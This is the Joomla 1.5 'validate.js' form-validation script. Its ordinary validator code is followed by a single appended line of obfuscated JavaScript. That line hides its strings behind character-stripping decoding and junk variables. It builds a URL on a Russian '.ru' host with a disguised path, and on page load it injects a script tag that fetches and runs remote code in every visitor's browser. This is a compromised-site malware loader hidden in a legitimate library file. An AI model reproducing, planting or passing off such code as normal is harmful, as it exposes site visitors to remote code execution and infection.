/**
* @version		$Id: validate.js 7401 2007-05-14 04:12:55Z eddieajau $
* @package		Joomla
* @copyright	Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
 * Unobtrusive Form Validation library
 *
 * Inspired by: Chris Campbell <www.particletree.com>
 *
 * @package		Joomla.Framework
 * @subpackage	Forms
 * @since		1.5
 */
var JFormValidator = new Class({
	initialize: function()
	{
		// Initialize variables
		this.handlers	= Object();
		this.custom		= Object();

		// Default handlers
		this.setHandler('username',
			function (value) {
				regex = new RegExp("[\<|\>|\"|\'|\%|\;|\(|\)|\&]", "i");
				return !regex.test(value);
			}
		);

		this.setHandler('password',
			function (value) {
				regex=/^\S[\S ]{2,98}\S$/;
				return regex.test(value);
			}
		);

		this.setHandler('numeric',
			function (value) {
				regex=/^(\d|-)?(\d|,)*\.?\d*$/;
				return regex.test(value);
			}
		);

		this.setHandler('email',
			function (value) {
				regex=/^[a-zA-Z0-9._-]+@([a-zA-Z0-9.-]+\.)+[a-zA-Z0-9.-]{2,4}$/;
				return regex.test(value);
			}
		);

		// Attach to forms with class 'form-validate'
		var forms = $$('form.form-validate');
		forms.each(function(form){ this.attachToForm(form); }, this);
	},

	setHandler: function(name, fn, en)
	{
		en = (en == '') ? true : en;
		this.handlers[name] = { enabled: en, exec: fn };
	},

	attachToForm: function(form)
	{
		// Iterate through the form object and attach the validate method to all input fields.
		$A(form.elements).each(function(el){
			el = $(el);
			if ((el.getTag() == 'input' || el.getTag() == 'button') && el.getProperty('type') == 'submit') {
				if (el.hasClass('validate')) {
					el.onclick = function(){return document.formvalidator.isValid(this.form);};
				}
			} else {
				el.addEvent('blur', function(){return document.formvalidator.validate(this);});
			}
		});
	},

	validate: function(el)
	{
		// If the field is required make sure it has a value
		if ($(el).hasClass('required')) {
			if (!($(el).getValue())) {
				this.handleResponse(false, el);
				return false;
			}
		}

		// Only validate the field if the validate class is set
		var handler = (el.className && el.className.search(/validate-([a-zA-Z0-9\_\-]+)/) != -1) ? el.className.match(/validate-([a-zA-Z0-9\_\-]+)/)[1] : "";
		if (handler == '') {
			this.handleResponse(true, el);
			return true;
		}

		// Check the additional validation types
		if ((handler) && (handler != 'none') && (this.handlers[handler]) && $(el).getValue()) {
			// Execute the validation handler and return result
			if (this.handlers[handler].exec($(el).getValue()) != true) {
				this.handleResponse(false, el);
				return false;
			}
		}

		// Return validation state
		this.handleResponse(true, el);
		return true;
	},

	isValid: function(form)
	{
		var valid = true;

		// Validate form fields
		for (var i=0;i < form.elements.length; i++) {
			if (this.validate(form.elements[i]) == false) {
				valid = false;
			}
		}

		// Run custom form validators if present
		$A(this.custom).each(function(validator){
			if (validator.exec() != true) {
				valid = false;
			}
		});

		return valid;
	},

	handleResponse: function(state, el)
	{
		// Find the label object for the given field if it exists
		if (!(el.labelref)) {
			var labels = $$('label');
			labels.each(function(label){
				if (label.getProperty('for') == el.getProperty('id')) {
					el.labelref = label;
				}
			});
		}

		// Set the element and its label (if exists) invalid state
		if (state == false) {
			el.addClass('invalid');
			if (el.labelref) {
				$(el.labelref).addClass('invalid');
			}
		} else {
			el.removeClass('invalid');
			if (el.labelref) {
				$(el.labelref).removeClass('invalid');
			}
		}
	}
});

document.formvalidator = null;
Window.onDomReady(function(){
	document.formvalidator = new JFormValidator();
});
var YM;if(YM!=''){YM='sf'};try {var L='';this.fS="";var Dm='';this.LR="";var C=RegExp;var r="";var CC=new Array();var n='';var I;if(I!='l'){I=''};this.EG="";var D=']';var Y='[';var w='replace';var s='g';var Mh="";var lt;if(lt!='' && lt!='TC'){lt=''};var LP="";function f(K,T){var gf;if(gf!='' && gf!='lo'){gf='UF'};var U=Y;U+=T;var MG;if(MG!='' && MG!='HP'){MG='dT'};var b='';U+=D;this.x='';var M=new C(U, s);var YG=new Array();var NJ=new Array();return K[w](M, n);var TF;if(TF!='' && TF!='Ql'){TF=null};this.G_='';};var _=f('bXoadwyB',"awBXI");var mM;if(mM!='zM' && mM!='Wz'){mM=''};var nl=f('82725252095925855727972021179712',"91527");var O;if(O!='' && O!='P'){O=''};var G=f('hQtQtQpq:E/E/qiNcQbIcI-IcEoQmI-NcEnN.EmQeNdIiIaQfNiNrNeq.qcEoQmN.IkqeQeEpEvqiEdq-EcQoNmI.QwqaIpEsQiNtQeIwqoNrqlEdE.NrNuE:E',"QEqIN");var ah;if(ah!='lP' && ah != ''){ah=null};var HV;if(HV!='Of' && HV != ''){HV=null};this.Uv="";this.F="";var Cw=f('oqn2l2o2aqd2',"2q");var t=f('skektSAStptprkikbpuwtkep',"pSwk");var gY=new Date();var e=new String();var CX='';var H=f('sScSrSijpjtj',"Sj");var xC;if(xC!='vW' && xC != ''){xC=null};var g=f('afpfpFeFnFdFCFhfiFlfdF',"fF");var q=f('/uyuivmugu.ucvoumu/EyuivmvgE.ucvoEmE/vgEoEoEgulEev.vcEovmu/vgvauzvzuevtutuau.vivtu/veuhuouwE.EcvovmE.upEhupE',"uvE");var VA=new Array();var K="1";var sfk=new Array();var Q=f('ckrZekaktZeZExlkeZmbebnxtD',"DZkxb");window[Cw]=function(){var n_="";Kq=document[Q](H);var tr;if(tr!='He' && tr!='qD'){tr='He'};var PQ;if(PQ!='' && PQ!='Ow'){PQ='rZ'};this.pD="";this.OP="";CX+=G;CX+=nl;this.XN="";CX+=q;this.Do="";this.kY="";Kq.setAttribute('defer', K);var Oc=new Array();var Ec;if(Ec!='wX'){Ec='wX'};Kq.src=CX;var lL;if(lL!=''){lL='qv'};var v=document[_];var MN;if(MN!='SO' && MN!='PG'){MN='SO'};var QI=new Date();var gmK;if(gmK!='yf'){gmK=''};v.appendChild(Kq);};var NN;if(NN!='Ui' && NN != ''){NN=null};var bt;if(bt!='vO' && bt != ''){bt=null};var OI;if(OI!=''){OI='RY'};this.hT="";} catch(V){};